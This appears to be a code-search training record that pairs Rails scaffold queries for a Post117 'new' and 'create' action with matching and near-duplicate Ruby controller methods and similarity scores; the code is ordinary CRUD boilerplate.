"def show\n @post260 = Post260.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post260 }\n end\n end",
"def show\n @post306 = Post306.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post306 }\n end\n end",
"def show\n @post184 = Post184.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post184 }\n end\n end",
"def show\n @post470 = Post470.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post470 }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @post }\n format.xml { render xml: @posts }\n end\n end",
"def show\n @post41 = Post41.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post41 }\n end\n end",
"def show\n @post217 = Post217.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post217 }\n end\n end",
"def show\n @post342 = Post342.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post342 }\n end\n end",
"def show\n @post350 = Post350.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post350 }\n end\n end",
"def show\n @post341 = Post341.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post341 }\n end\n end",
"def show\n @post58 = Post58.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post58 }\n end\n end",
"def show\n @post197 = Post197.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post197 }\n end\n end",
"def show\n @post122 = Post122.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post122 }\n end\n end",
"def show\n @post54 = Post54.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post54 }\n end\n end",
"def show\n @post143 = Post143.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post143 }\n end\n end",
"def show\n @post196 = Post196.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post196 }\n end\n end",
"def show\n @post50 = Post50.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post50 }\n end\n end",
"def show\n @post245 = Post245.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post245 }\n end\n end",
"def show\n @post297 = Post297.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post297 }\n end\n end",
"def show\n @post191 = Post191.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post191 }\n end\n end",
"def show\n @post471 = Post471.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post471 }\n end\n end",
"def show\n @post335 = Post335.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post335 }\n end\n end",
"def show\n @post425 = Post425.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post425 }\n end\n end",
"def show\n @post273 = Post273.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post273 }\n end\n end",
"def show\n @post59 = Post59.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post59 }\n end\n end",
"def show\n @post133 = Post133.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post133 }\n end\n end",
"def show\n @post358 = Post358.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post358 }\n end\n end",
"def show\n @post284 = Post284.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post284 }\n end\n end",
"def show\n @post66 = Post66.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post66 }\n end\n end",
"def show\n @post339 = Post339.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post339 }\n end\n end",
"def show\n @post328 = Post328.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post328 }\n end\n end",
"def show\n @post459 = Post459.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post459 }\n end\n end",
"def show\n @post116 = Post116.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post116 }\n end\n end",
"def show\n @post349 = Post349.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post349 }\n end\n end",
"def show\n @post281 = Post281.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post281 }\n end\n end",
"def show\n @post321 = Post321.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post321 }\n end\n end",
"def show\n @post21 = Post21.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post21 }\n end\n end",
"def show\n @post483 = Post483.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post483 }\n end\n end",
"def show\n @post446 = Post446.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post446 }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post }\n end\n end",
"def show\n @post68 = Post68.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post68 }\n end\n end",
"def show\n @post436 = Post436.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post436 }\n end\n end",
"def show\n @post464 = Post464.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post464 }\n end\n end",
"def show\n @post230 = Post230.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post230 }\n end\n end",
"def show\n @post249 = Post249.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post249 }\n end\n end",
"def show\n @post290 = Post290.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post290 }\n end\n end",
"def show\n @post453 = Post453.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post453 }\n end\n end",
"def show\n @post447 = Post447.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post447 }\n end\n end",
"def show\n @post385 = Post385.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post385 }\n end\n end",
"def show\n @post72 = Post72.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post72 }\n end\n end",
"def show\n @post10 = Post10.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post10 }\n end\n end",
"def show\n @post276 = Post276.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post276 }\n end\n end",
"def show\n r = PostRepository.new\n @post = r.GetPost(\"PostID\", params[:id].to_i)\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post }\n end \n end",
"def show\n @post423 = Post423.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post423 }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @post.to_xml }\n end\n end",
"def show\n @post106 = Post106.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post106 }\n end\n end"
] |
[
"0.65125257",
"0.6474304",
"0.6473282",
"0.64366126",
"0.6436177",
"0.64304566",
"0.6429331",
"0.64280576",
"0.6418291",
"0.6407826",
"0.64053935",
"0.6395737",
"0.6394166",
"0.6383656",
"0.6381754",
"0.63811916",
"0.6380231",
"0.6357893",
"0.6352695",
"0.634823",
"0.6344668",
"0.63432276",
"0.63361853",
"0.63340193",
"0.6326196",
"0.6324319",
"0.632088",
"0.63138187",
"0.6313373",
"0.63130957",
"0.63058895",
"0.63014525",
"0.62977594",
"0.6292749",
"0.6292557",
"0.6290149",
"0.62885326",
"0.62832856",
"0.6282693",
"0.6279208",
"0.6275438",
"0.627179",
"0.6270763",
"0.62594116",
"0.6258969",
"0.62586194",
"0.62525094",
"0.62515354",
"0.62506247",
"0.62499374",
"0.62467337",
"0.6239343",
"0.6231579",
"0.6228453",
"0.622574",
"0.6222856",
"0.6222801",
"0.62222856",
"0.62165797",
"0.6216329",
"0.62140185",
"0.62066793",
"0.62058604",
"0.62022334",
"0.61981755",
"0.6197309",
"0.61964244",
"0.6196041",
"0.6186559",
"0.61857456",
"0.61761904",
"0.6163882",
"0.6163282",
"0.6157707",
"0.6155611",
"0.61503226",
"0.6144543",
"0.6144357",
"0.6143319",
"0.61372536",
"0.61368334",
"0.6134336",
"0.6134128",
"0.61340344",
"0.61337507",
"0.6132306",
"0.61299556",
"0.6129637",
"0.6128603",
"0.61284965",
"0.6125093",
"0.6121075",
"0.6117633",
"0.6116133",
"0.61140615",
"0.6095974",
"0.6088391",
"0.6082427",
"0.6080671",
"0.60795397"
] |
0.64644295
|
3
|
GET /post117s/new GET /post117s/new.xml
|
def new
@post117 = Post117.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @post117 }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @post101 = Post101.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post101 }\n end\n end",
"def new\n @post57 = Post57.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post57 }\n end\n end",
"def new\n @post181 = Post181.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post181 }\n end\n end",
"def new\n @post227 = Post227.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post227 }\n end\n end",
"def new\n @post55 = Post55.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post55 }\n end\n end",
"def new\n @post125 = Post125.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post125 }\n end\n end",
"def new\n @post75 = Post75.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post75 }\n end\n end",
"def new\n @post105 = Post105.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post105 }\n end\n end",
"def new\n @post109 = Post109.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post109 }\n end\n end",
"def new\n @post253 = Post253.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post253 }\n end\n end",
"def new\n @post110 = Post110.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post110 }\n end\n end",
"def new\n @post74 = Post74.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post74 }\n end\n end",
"def new\n @post150 = Post150.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post150 }\n end\n end",
"def new\n @post78 = Post78.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post78 }\n end\n end",
"def new\n @post120 = Post120.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post120 }\n end\n end",
"def new\n @post149 = Post149.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post149 }\n end\n end",
"def new\n @post168 = Post168.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post168 }\n end\n end",
"def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post }\n end\n make_rss\n end",
"def new\n @post306 = Post306.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post306 }\n end\n end",
"def new\n @post50 = Post50.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post50 }\n end\n end",
"def new\n @post197 = Post197.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post197 }\n end\n end",
"def new\n @post275 = Post275.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post275 }\n end\n end",
"def new\n @post182 = Post182.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post182 }\n end\n end",
"def new\n @post246 = Post246.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post246 }\n end\n end",
"def new\n @post156 = Post156.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post156 }\n end\n end",
"def new\n @post99 = Post99.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post99 }\n end\n end",
"def new\n @post133 = Post133.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post133 }\n end\n end",
"def new\n @post54 = Post54.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post54 }\n end\n end",
"def new\n @post350 = Post350.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post350 }\n end\n end",
"def new\n @post295 = Post295.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post295 }\n end\n end",
"def new\n @post183 = Post183.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post183 }\n end\n end",
"def new\n @post130 = Post130.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post130 }\n end\n end",
"def new\n @post107 = Post107.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post107 }\n end\n end",
"def new\n @post342 = Post342.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post342 }\n end\n end",
"def new\n @post217 = Post217.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post217 }\n end\n end",
"def new\n @post445 = Post445.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post445 }\n end\n end",
"def new\n @post154 = Post154.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post154 }\n end\n end",
"def new\n @post257 = Post257.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post257 }\n end\n end",
"def new\n @post77 = Post77.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post77 }\n end\n end",
"def new\n @post184 = Post184.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post184 }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post }\n end\n end",
"def new\n @post267 = Post267.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post267 }\n end\n end",
"def new\n @post157 = Post157.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post157 }\n end\n end",
"def new\n @post65 = Post65.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post65 }\n end\n end",
"def new\n @post85 = Post85.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post85 }\n end\n end",
"def new\n @post139 = Post139.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post139 }\n end\n end",
"def new\n @post297 = Post297.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post297 }\n end\n end",
"def new\n @post260 = Post260.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post260 }\n end\n end",
"def new\n @post221 = Post221.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post221 }\n end\n end",
"def new\n @post122 = Post122.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post122 }\n end\n end",
"def new\n @post134 = Post134.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post134 }\n end\n end",
"def new\n @post335 = Post335.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post335 }\n end\n end",
"def new\n @post310 = Post310.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post310 }\n end\n end",
"def new\n @post231 = Post231.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post231 }\n end\n end",
"def new\n @post143 = Post143.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post143 }\n end\n end",
"def new\n @post129 = Post129.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post129 }\n end\n end",
"def new\n @post58 = Post58.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post58 }\n end\n end",
"def new\n @post33 = Post33.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post33 }\n end\n end",
"def new\n @post328 = Post328.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post328 }\n end\n end",
"def new\n @post284 = Post284.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post284 }\n end\n end",
"def new\n @post193 = Post193.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post193 }\n end\n end",
"def new\n @post273 = Post273.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post273 }\n end\n end",
"def new\n @post245 = Post245.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post245 }\n end\n end",
"def new\n @post10 = Post10.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post10 }\n end\n end",
"def new\n @post349 = Post349.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post349 }\n end\n end",
"def new\n @post59 = Post59.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post59 }\n end\n end",
"def new\n @post230 = Post230.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post230 }\n end\n end",
"def new\n @post251 = Post251.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post251 }\n end\n end",
"def new\n @post321 = Post321.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post321 }\n end\n end",
"def new\n @post191 = Post191.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post191 }\n end\n end",
"def new\n @post41 = Post41.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post41 }\n end\n end",
"def new\n @post196 = Post196.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post196 }\n end\n end",
"def new\n @post106 = Post106.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post106 }\n end\n end",
"def new\n @post174 = Post174.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post174 }\n end\n end",
"def new\n @post358 = Post358.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post358 }\n end\n end",
"def new\n @post453 = Post453.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post453 }\n end\n end",
"def new\n @post425 = Post425.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post425 }\n end\n end",
"def new\n @post81 = Post81.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post81 }\n end\n end",
"def new\n @post305 = Post305.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post305 }\n end\n end",
"def new\n @post483 = Post483.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post483 }\n end\n end",
"def new\n @post290 = Post290.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post290 }\n end\n end",
"def new\n \n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post }\n end\n end",
"def new\n @post116 = Post116.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post116 }\n end\n end",
"def new\n @post215 = Post215.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post215 }\n end\n end",
"def new\n @post459 = Post459.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post459 }\n end\n end",
"def new\n @post436 = Post436.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post436 }\n end\n end",
"def new\n @post21 = Post21.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post21 }\n end\n end",
"def new\n @post377 = Post377.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post377 }\n end\n end",
"def new\n @post339 = Post339.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post339 }\n end\n end",
"def new\n @post470 = Post470.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post470 }\n end\n end",
"def new\n @post409 = Post409.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post409 }\n end\n end",
"def new\n @post272 = Post272.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post272 }\n end\n end",
"def new\n @post369 = Post369.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post369 }\n end\n end",
"def new\n @post68 = Post68.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post68 }\n end\n end",
"def new\n @post341 = Post341.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post341 }\n end\n end",
"def new\n @post464 = Post464.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post464 }\n end\n end",
"def new\n @post471 = Post471.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post471 }\n end\n end",
"def new\n @post32 = Post32.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post32 }\n end\n end",
"def new\n @post276 = Post276.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post276 }\n end\n end",
"def new\n @post281 = Post281.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post281 }\n end\n end"
] |
[
"0.75954574",
"0.758967",
"0.757236",
"0.756434",
"0.7548778",
"0.752965",
"0.7520364",
"0.7510966",
"0.7508617",
"0.7507032",
"0.7503816",
"0.74995655",
"0.7499221",
"0.74964774",
"0.7485347",
"0.7484131",
"0.74817634",
"0.74765676",
"0.7469042",
"0.74688035",
"0.74599946",
"0.745126",
"0.7449943",
"0.74474764",
"0.74439764",
"0.74438775",
"0.744115",
"0.74383485",
"0.74331605",
"0.7423383",
"0.742315",
"0.74213874",
"0.7416151",
"0.74125504",
"0.74111795",
"0.74085486",
"0.7407074",
"0.7404705",
"0.740266",
"0.73996985",
"0.7397855",
"0.7395916",
"0.739545",
"0.7382287",
"0.7380987",
"0.7378847",
"0.73783237",
"0.7378194",
"0.7377462",
"0.73772156",
"0.7373658",
"0.73654205",
"0.73645025",
"0.73622465",
"0.73616123",
"0.73559517",
"0.7350321",
"0.7348617",
"0.73461235",
"0.734565",
"0.7342188",
"0.7339613",
"0.73375463",
"0.73285407",
"0.732733",
"0.73257184",
"0.7322643",
"0.7322417",
"0.7320163",
"0.73195755",
"0.7316221",
"0.731607",
"0.73150843",
"0.7312066",
"0.7309621",
"0.73080355",
"0.7302638",
"0.73001087",
"0.72998077",
"0.7297889",
"0.7290923",
"0.7285735",
"0.72852206",
"0.7284509",
"0.7267632",
"0.72659105",
"0.72651446",
"0.72576684",
"0.725725",
"0.7256115",
"0.7255485",
"0.72550607",
"0.7248455",
"0.7247586",
"0.72412825",
"0.7236521",
"0.7235576",
"0.7233734",
"0.7230191",
"0.7224222"
] |
0.7571219
|
3
|
POST /post117s POST /post117s.xml
|
def create
@post117 = Post117.new(params[:post117])
respond_to do |format|
if @post117.save
format.html { redirect_to(@post117, :notice => 'Post117 was successfully created.') }
format.xml { render :xml => @post117, :status => :created, :location => @post117 }
else
format.html { render :action => "new" }
format.xml { render :xml => @post117.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def post(xmldoc)\n headers = {'Content-Type' => 'text/xml'}\n check_response( @httpcli.post(@endpoint, xmldoc, headers) )\n end",
"def create\n @post168 = Post168.new(params[:post168])\n\n respond_to do |format|\n if @post168.save\n format.html { redirect_to(@post168, :notice => 'Post168 was successfully created.') }\n format.xml { render :xml => @post168, :status => :created, :location => @post168 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post168.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def create\n @post157 = Post157.new(params[:post157])\n\n respond_to do |format|\n if @post157.save\n format.html { redirect_to(@post157, :notice => 'Post157 was successfully created.') }\n format.xml { render :xml => @post157, :status => :created, :location => @post157 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post157.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post #:doc:\n end",
"def POST; end",
"def create\n @post78 = Post78.new(params[:post78])\n\n respond_to do |format|\n if @post78.save\n format.html { redirect_to(@post78, :notice => 'Post78 was successfully created.') }\n format.xml { render :xml => @post78, :status => :created, :location => @post78 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post78.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post57 = Post57.new(params[:post57])\n\n respond_to do |format|\n if @post57.save\n format.html { redirect_to(@post57, :notice => 'Post57 was successfully created.') }\n format.xml { render :xml => @post57, :status => :created, :location => @post57 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post57.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post181 = Post181.new(params[:post181])\n\n respond_to do |format|\n if @post181.save\n format.html { redirect_to(@post181, :notice => 'Post181 was successfully created.') }\n format.xml { render :xml => @post181, :status => :created, :location => @post181 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post181.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(*args)\n request :post, *args\n end",
"def post; end",
"def create\n @post110 = Post110.new(params[:post110])\n\n respond_to do |format|\n if @post110.save\n format.html { redirect_to(@post110, :notice => 'Post110 was successfully created.') }\n format.xml { render :xml => @post110, :status => :created, :location => @post110 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post110.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post75 = Post75.new(params[:post75])\n\n respond_to do |format|\n if @post75.save\n format.html { redirect_to(@post75, :notice => 'Post75 was successfully created.') }\n format.xml { render :xml => @post75, :status => :created, :location => @post75 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post75.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post\r\n end",
"def create\n @post74 = Post74.new(params[:post74])\n\n respond_to do |format|\n if @post74.save\n format.html { redirect_to(@post74, :notice => 'Post74 was successfully created.') }\n format.xml { render :xml => @post74, :status => :created, :location => @post74 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post74.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(*args)\n request(:post, *args)\n end",
"def create\n @post154 = Post154.new(params[:post154])\n\n respond_to do |format|\n if @post154.save\n format.html { redirect_to(@post154, :notice => 'Post154 was successfully created.') }\n format.xml { render :xml => @post154, :status => :created, :location => @post154 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post154.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post257 = Post257.new(params[:post257])\n\n respond_to do |format|\n if @post257.save\n format.html { redirect_to(@post257, :notice => 'Post257 was successfully created.') }\n format.xml { render :xml => @post257, :status => :created, :location => @post257 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post257.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post267 = Post267.new(params[:post267])\n\n respond_to do |format|\n if @post267.save\n format.html { redirect_to(@post267, :notice => 'Post267 was successfully created.') }\n format.xml { render :xml => @post267, :status => :created, :location => @post267 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post267.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post174 = Post174.new(params[:post174])\n\n respond_to do |format|\n if @post174.save\n format.html { redirect_to(@post174, :notice => 'Post174 was successfully created.') }\n format.xml { render :xml => @post174, :status => :created, :location => @post174 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post174.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post275 = Post275.new(params[:post275])\n\n respond_to do |format|\n if @post275.save\n format.html { redirect_to(@post275, :notice => 'Post275 was successfully created.') }\n format.xml { render :xml => @post275, :status => :created, :location => @post275 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post275.errors, :status => :unprocessable_entity }\n end\n end\n end",
